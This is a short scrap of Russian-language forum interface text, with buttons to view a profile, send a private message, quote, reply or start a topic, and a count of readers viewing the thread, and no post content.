Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
  Ответить в данную темуНачать новую тему
 
0 пользователей и 1 гостей читают эту тему: